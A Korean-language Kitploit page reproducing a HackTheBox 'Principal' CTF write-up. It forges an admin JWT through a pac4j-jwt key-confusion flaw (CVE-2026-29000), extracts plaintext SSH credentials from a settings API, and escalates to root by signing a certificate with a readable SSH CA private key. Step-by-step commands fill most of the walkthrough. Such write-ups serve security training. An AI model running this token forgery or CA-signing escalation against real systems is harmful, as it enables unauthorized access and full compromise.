Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Principal-HackTheBox — # CVE-2026-29000 악용 상세 분석: pac4j-jwt 인증 우회, API 설정에서 자격 증명 추출, HackTheBox Linux 머신에서 SSH CA 서명을 통한 권한 상승 | Kitploit
도구/GitHubGitHub/ledksv/principal-hackthebox
Privilege EscalationVulnerability AnalysisExploitationWeb SecurityCryptographyCTFPenetration TestingAuthentication
GitHubledksv/principal-hackthebox

Principal-HackTheBox

# CVE-2026-29000 악용 상세 분석: pac4j-jwt 인증 우회, API 설정에서 자격 증명 추출, HackTheBox Linux 머신에서 SSH CA 서명을 통한 권한 상승

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

HackTheBox — Principal

난이도: 중간 OS: Linux 플랫폼: HackTheBox


개요

pac4j-jwt v6.0.3을 실행하는 웹 애플리케이션 — CVE-2026-29000에 취약합니다. 공개 RSA 키는 JWKS 엔드포인트를 통해 인증 없이 노출되며, 이를 사용하여 유효한 관리자 JWE 토큰을 위조하여 인증을 완전히 우회할 수 있습니다. 관리자 액세스 권한으로 설정 API에서 평문 SSH 자격 증명을 획득합니다. 서비스 계정은 deployers 그룹의 구성원이며 sshd가 신뢰하는 SSH CA 개인 키에 대한 읽기 액세스 권한이 있습니다 — root 액세스를 부여하는 인증서에 서명하면 박스가 완료됩니다.


1. 열거

웹 애플리케이션을 탐색하고 페이지 소스를 확인했습니다. /static/js/app.js에서 주요 JavaScript 번들을 찾았습니다.

app.js 내부에서 식별된 주요 API 엔드포인트:

root@kitploit:~
/api/auth/login
/api/auth/jwks      <- 공개 키 엔드포인트 (인증 없음)
/api/dashboard
/api/users
/api/settings

페이지 바닥글에서 pac4j-jwt v6.0.3 — CVE-2026-29000에 취약함을 확인했습니다.


2. JWT 인증 우회 — CVE-2026-29000

인증되지 않은 JWKS 엔드포인트에서 RSA 공개 키를 가져왔습니다:

root@kitploit:~
curl http://<TARGET_IP>:8080/api/auth/jwks
# RSA 공개 키 반환 (kid: enc-key-1)

CVE-2026-29000은 공개 키를 사용하여 유효한 JWE 토큰을 위조할 수 있게 합니다 — 라이브러리가 개인 키를 요구하는 대신 공개 키로 암호화된 토큰을 잘못 수락합니다.

PoC를 사용하여 위조된 관리자 토큰을 생성했습니다:

root@kitploit:~
python3 poc.py \
  --jwks http://<TARGET_IP>:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

3. 관리자 API 액세스

Burp Repeater에서 위조된 토큰을 Bearer 토큰으로 사용했습니다:

root@kitploit:~
Authorization: Bearer <forged_token>

GET /api/dashboard → 200 OK

  • 역할 확인: ROLE_ADMIN
  • 활동 로그에 사용자 svc-deploy에 대한 CERT_ISSUED 작업이 표시됨

GET /api/settings → 200 OK

  • 보안 구성에서 SSH 자격 증명이 평문으로 발견됨
  • SSH 인증서 인증 활성화됨
  • SSH CA 경로: /opt/principal/ssh/

4. 초기 액세스

/api/settings에서 획득한 자격 증명으로 SSH 접속:

root@kitploit:~
ssh svc-deploy@<TARGET_IP>

사용자 플래그 획득.


5. 권한 상승 — SSH CA 서명

svc-deploy는 deployers 그룹에 속하며 /opt/principal/ssh/에 대한 읽기 액세스 권한이 있습니다:

root@kitploit:~
ls -la /opt/principal/ssh/
# ca        — RSA 4096비트 CA 개인 키 (deployers가 읽을 수 있음)
# ca.pub    — CA 공개 키
# README.txt — CA가 sshd에 의해 신뢰됨을 확인

CA 개인 키를 읽을 수 있습니다. sshd가 이 CA를 신뢰하므로, 이 CA가 서명한 모든 인증서는 root 액세스를 부여하는 인증서를 포함하여 수락됩니다.

root@kitploit:~
# 새 키페어 생성
ssh-keygen -t ed25519 -f /tmp/privesc

# CA로 서명하여 principal 'root' 부여
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub

# root로 SSH 접속
ssh -i /tmp/privesc root@<TARGET_IP>

Root 플래그 획득.


플래그

  • 사용자: /home/svc-deploy/user.txt
  • Root: /root/root.txt

주요 시사점

  • 웹 앱 정찰 중 항상 JWT 라이브러리 버전을 확인하세요 — pac4j-jwt는 Java 애플리케이션에서 흔히 사용됩니다.
  • CVE-2026-29000: pac4j JWE 키 혼동 — 개인 키가 필요한 곳에 공개 키가 수락됨.
  • API 설정 엔드포인트는 종종 평문으로 자격 증명을 유출합니다 — 유효한 토큰을 확보한 후 항상 모든 인증된 경로를 열거하세요.
  • 서비스 계정이 sshd가 신뢰하는 SSH CA 개인 키를 읽을 수 있다면, root를 포함한 모든 principal로 인증서에 서명할 수 있습니다. 사후 침투 중 그룹 구성원과 CA 키 권한을 확인하세요.
도구 다운로드